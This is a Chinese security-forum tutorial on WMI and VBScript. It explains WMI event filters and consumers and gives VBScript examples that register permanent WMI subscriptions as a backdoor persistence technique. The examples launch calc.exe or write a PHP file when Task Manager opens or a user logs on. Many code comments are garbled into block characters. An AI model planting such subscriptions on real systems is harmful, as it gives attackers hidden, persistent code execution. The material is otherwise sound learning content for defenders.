wmi与vbs

sinensis / 2018-02-28 16:33:25 / 浏览数 2642 新手 入门资料 顶(0) 踩(0)

关于wmi的东西，有很多文章参考，这里给自己做一个笔记。

WMI后门

wmi基本逻辑结构

wmi的逻辑结构是这样的：
首先是wmi使用者，比如脚本或者其他用到wmi接口的应用程序。由wmi使用者访问CIM对象管理器WinMgmt（即WMI服务），后者再访问CIM（公共信息模型Common Information Model）存储库。

静态或动态的信息（对象的属性）就保存在CIM库中，同时保存对象的方法。比如启动一个服务，通过执行对象的方法实现，实际上是通过COM技术调用各种dll，最后由dll Space）

可以调用wmi的方式或者语言:

```
* wmic.exe
* winrm.exe
* winrs.exe
* powershell
* windows scripting host(WSH)
  * VBScript
  * JScript
* mof
* C/C++ via IWbem* COM API
* .NET System.Management classes
```

如下例子：vbs脚本操作wmi对象的时候，有两种方法`winmgmts:\\`和`WbemScripting.SWBemlocator`

> not only throuth an SWbemLocator object, but also through the moniker "winmgmts:". A moniker is a short name that locate a namespace、class or instance in WMI. The name "winmgmts:" is the WMI moniker that tell the Windows Script Host to use the WMI objects, connects to the default namespace, and obtains an SWbemServices object.

不过这两者是有异同的，SWbemlocator可以做到WMI moniker不能做到的两个功能（SWbemlocator is designed to address two specific scripting scenarios that cannot be performed using GetObject and the WMI moniker， You must use SWbemLocator if you need to)：

1. provide user and password credentials to connect to WMI on a remote computer. The WMI moniker used with the GetObject function does not include a mechanism for specifying credentials.
2. Connect to WMI if you are runing a WMI script from within a Web page.

创建对象并连接服务器：

```
set objlocator=createobject("wbemscripting.swbemlocator")
set objswbemservices=objlocator.connectserver(ipaddress,"root\default",username,password)
```

访问WMI还有一个特权的额问题。

```
objswbemservices.security_.privileges.add 23,true
objswbemservices.security_.privileges.add 18,true
```

这是在向WMI服务申请权限，18和23都是权限代号，以下是重要的代号:
5 在域中创建账号
7 管理审计并查看、保存和清理安全日志
9 加载和卸载设备驱动
10 记录系统时间
11 改变系统时间
18 在本地关机
22 绕过历遍检查
23 允许远程关机

举个例子

运行如下脚本可以获得所有权限ID及对应说明

```
strComputer = "."
set objWMIService = GetObject("winmgmts:\\" _
```

```
   & strComputer & "\root\cimv2")
set colPrivileges = objWMIService.Security_.Privileges
for I = 1 to 27
colPrivileges.Add(I)
Next
' Display information about each privilege
For Each objItem In colPrivileges
wscript.echo objItem.Identifier & vbtab & objItem.Name _
   & vbtab & objItem.Displayname _
   & vbtab & "Enabled = " & objItem.IsEnabled
Next

strComputer="."
set objService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
'set objWmi = CreateObject("WbemScripting.SWBemLocator")
'set objService = objWmi.ConnectServer(strComputer, "root\cimv2")
set objSet = objService.InstancesOf("Win32_Process")
for each obj in objSet
   Wscript.Echo "Name: " & obj.Name
Next
```

基于事件驱动运行

wmi是事件驱动，整个事件处理机制分4个部分:
1、事件生产者（provider)，负责生产事件。WMI包含大量事件生产者。
2、事件过滤器(fileter），系统每时每刻有大量的事件，通过自定义过滤器，脚本可以捕获感兴趣的事件进行处理。
3、事件消费者（consumer)：负责处理事件，他是由可执行程序，动态链接库(dll，由wmi服务加载)或者脚本
4、事件绑定(binding）：通过将过滤器和消费者绑定，明确什么事件由什么消费者负责处理

事件消费者可以分为临时和永久两类，临时的事件消费者只在其运行期间关心特定事件并处理，永久消费者作为类的实例注册在WMI命名空间中，一直有效到它被注销。

EvenetFilter

1: Data queries

```
select * from Win32_NTlogEvent where logfile = 'application'
```
辣么，上面这个语句是否可以修改下，类似远程控制iptables的方式，当检测到logfile里面存在特定字符，触发事件

2: Evenet queries

```
select * from __InstanceModificationEvent WITHIN 10 where TargetInstance ISA 'Win32_Service' AND TargetInstance._Class
= 'win32_TerminalService'
```

3: Schema queries

```
select * from meta_class where __this ISA "Win32_BaseService"
```

Consumer

可以理解为满足条件之后执行的操作，包括如下查询:

```
■1)ActiveScriptEventConsumer
(2) LogFileEventConsumer
(3) NTEventLogEventConsumer
(4) SMTPEventConsumer
(5) CommandLineEventConsumer
```

wmi需要两个可以执行，Eventfilter和consumer。

EventFilter

```
select * from __InstanceModificationEvent where TargetInstance Isa "Win32_localTime" And TargetInstance.Second = 1

select * from __InstanceModificationEvent WITHIN 10 where TargetInstance ISA 'Win32_Service' AND TargetInstance._Class = 'win3

select * from _InstanceModificationEvent within 5 where Targetinstance ISA 'Win32_service' AND
TargetInstance.name = 'spooler' and Targetinstatnce.state='stopped'
```

WMI提供了三个类别的WQL查询：

实例查询 - - 用于查询WMI类的实例

```
select <class property name> from <class name> where <>
```

事件查询 - - 用于一个WMI事件注册机制，如WMI对象的创建，修改或删除

```
■■■■■■■■■■■■■■
SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType =
```

元查询 - - 用于查询WMI类架构

```
select * from Meta_classes where __class like "win32%"
```

例子:
每10s查询一次事件修改，记录

```
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colMonitorProcess = objWMIService.ExecNotificationQuery _
("SELECT * FROM __instancemodificationevent WITHIN 10" & _
"WHERE TargetInstance ISA 'Win32_Service'")
WScript.Echo "Waiting for process change event ..."
Set objLatestEvent = colMonitorProcess.NextEvent
WScript.Echo VbCrLf & objLatestEvent.Path_.Class
Wscript.Echo "Process Name: " & objLatestEvent.TargetInstance.Name
Wscript.Echo "Process ID: " & objLatestEvent.TargetInstance.ProcessId
Wscript.Echo "Process State:" & objLatestEvent.TargetInstance.state
WScript.Echo "Time: " & Now
```

vbs举个例子

以下来自鬼哥的文章：http://huaidan.org/archives/1087.html

脚本稍微修改了下，大概功能就是打开任务管理器的时候，5s之内会打开calc.exe，这个动作可以在process explorer里面监测到。
脚本稍微不同的地方是:

__EventFilter的时候，要制定命名空间为root\cimv2,整个脚本是注册在root\subscription里面的。

一句话:
以root\cimv2空间的事件为驱动，使用root\subscription空间里面的CommandLineEventConsumer来运行程序。

```
nslink="winmgmts:\\.\root\cimv2:"         '■■■■■■■■■■■■■■■■■■■■swbemlocator■■'
nslink2="winmgmts:\\.\root\subscription:"
set asec=getobject(nslink2&"CommandLineEventConsumer").spawninstance_   '■■"■■■■■■■■■■"'
asec.name="stopped_spooler_restart_consumer"                  '■■■■■■■■■'
'asec.scriptingengine="vbscript"                               '■■■■■■■(■■■vbscript)'
asec.CommandLineTemplate="C:\windows\system32\calc.exe"  '■■■■■'
asec.ExecutablePath="C:\windows\system32\calc.exe"
set asecpath=asec.put_                                        '■■■■■■■■■■■■'

set evtflt=getobject(nslink2&"__EventFilter").spawninstance_   '■■■■■■■■'
evtflt.name="stopped_spooler_filter"
evtflt.EventNameSpace="root\cimv2"                           '■■■■■■■■■'
qstr="select * from __InstanceCreationEvent within 5 "    '■5■■■■■■"■■■■■■■"'
qstr=qstr&"where targetinstance isa 'win32_process' and "   '■■■■■■■■win32_process'
qstr=qstr&"targetinstance.name='taskmgr.exe' "                 '■■■■■taskmgr.exe'
evtflt.query=qstr                                             '■■■■■■■'
evtflt.querylanguage="wql"                                    '■■■■■■■(■■■wql)'
set fltpath=evtflt.put_                                       '■■■■■■■■■■■■'

set fcbnd=getobject(nslink2&"__FilterToConsumerBinding").spawninstance_  '■■■■■■■■■■■■■■'
fcbnd.consumer=asecpath.path                                              '■■■■■■'
fcbnd.filter=fltpath.path                                                 '■■■■■■'
fcbnd.put_                                                                '■■■■■'

wscript.echo "success"
```

上面提到过有5种消费者，然后这次以LogFileEventConsumer来测试，打开任务管理器之后，在C盘根目录下生成1.php，内容是<?php phpinfo();?>:

```
nslink="winmgmts:\\.\root\cimv2:"         '■■■■■■■■■■■■■■■■■■■■swbemlocator■■'
nslink2="winmgmts:\\.\root\subscription:"
set asec=getobject(nslink2&"LogFileEventConsumer").spawninstance_   '■■"■■■■■■■■■■"'
```

```
asec.name="stopped_spooler_restart_consumer"                  '■■■■■■■■■'
'asec.scriptingengine="vbscript"                               '■■■■■■■(■■■vbscript)'
'asec.CommandLineTemplate="C:\windows\system32\calc.exe"  '■■■■■'
'asec.ExecutablePath="C:\windows\system32\calc.exe"
asec.Filename="C:\1.php"
asec.Text="<?php phpinfo();?>"
set asecpath=asec.put_                                          '■■■■■■■■■■■■'

set evtflt=getobject(nslink2&"__EventFilter").spawninstance_   '■■■■■■■■'
evtflt.name="stopped_spooler_filter"
evtflt.EventNameSpace="root\cimv2"                            '■■■■■■■■■'
qstr="select * from __InstanceCreationEvent within 5 "    '■5■■■■■“■■■■■■”'
qstr=qstr&"where targetinstance isa 'win32_process' and "   '■■■■■■■■win32_service'
qstr=qstr&"targetinstance.name='taskmgr.exe' "                 '■■■■spooler'
evtflt.query=qstr                                              '■■■■■■■'
evtflt.querylanguage="wql"                                     '■■■■■■■(■■■wql)'
set fltpath=evtflt.put_                                        '■■■■■■■■■■■■'

set fcbnd=getobject(nslink2&"__FilterToConsumerBinding").spawninstance_  '■■■■■■■■■■■■■'
fcbnd.consumer=asecpath.path                                              '■■■■■■'
fcbnd.filter=fltpath.path                                                 '■■■■■■'
fcbnd.put_                                                                '■■■■■'

wscript.echo "success"
```

wmi监听用户登录和注销事件：

2003系统上，一个用户登陆的时候，日志记录ID是680，注销断开的时候ID是551，所以当一个用户登陆的时候，wmi监测登陆id，如果登陆成功，打开calc.exe：

```
nslink="winmgmts:\\.\root\cimv2:"         '■■■■■■■■■■■■■■■■■■■■swbemlocator■■'
nslink2="winmgmts:\\.\root\subscription:"
set asec=getobject(nslink2&"CommandLineEventConsumer").spawninstance_   '■■“■■■■■■■■■■”'
asec.name="stopped_spooler_restart_consumer"                  '■■■■■■■■■'
'asec.scriptingengine="vbscript"                               '■■■■■■■(■■■vbscript)'
asec.CommandLineTemplate="C:\windows\system32\calc.exe"  '■■■■■'
set asecpath=asec.put_                                          '■■■■■■■■■■■■'

set evtflt=getobject(nslink2&"__EventFilter").spawninstance_   '■■■■■■■■'
evtflt.name="stopped_spooler_filter"
evtflt.EventNameSpace="root\cimv2"                            '■■■■■■■■■'
qstr="select * from __InstanceCreationEvent within 5 "    '■5■■■■■“■■■■■■”'
qstr=qstr&"where targetinstance isa 'win32_NTLogEvent' and "   qstr=qstr&"targetinstance.EventCode='680' "                 '■
evtflt.query=qstr                                              '■■■■■■■'
evtflt.querylanguage="wql"                                     '■■■■■■■(■■■wql)'
set fltpath=evtflt.put_                                        '■■■■■■■■■■■■'

set fcbnd=getobject(nslink2&"__FilterToConsumerBinding").spawninstance_  '■■■■■■■■■■■■■'
fcbnd.consumer=asecpath.path                                              '■■■■■■'
fcbnd.filter=fltpath.path                                                 '■■■■■■'
fcbnd.put_                                                                '■■■■■'

wscript.echo "success"
```

- https://msdn.microsoft.com/en-us/library/mt703459(v=vs.85).aspx
- https://msdn.microsoft.com/en-us/library/aa393719(v=vs.85).aspx
- http://wooyun.jozxing.cc/static/drops/tips-8189.html
- http://wooyun.jozxing.cc/static/drops/tips-12354.html
- http://huaidan.org/archives/1087.html
- http://wooyun.jozxing.cc/static/drops/tips-12354.html

上一篇：kali 2018.1安装教程 从... 下一篇：Burpsuite自带小功能分享

1. 0 条回复
   - 动动手指，沙发就是你的了！

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板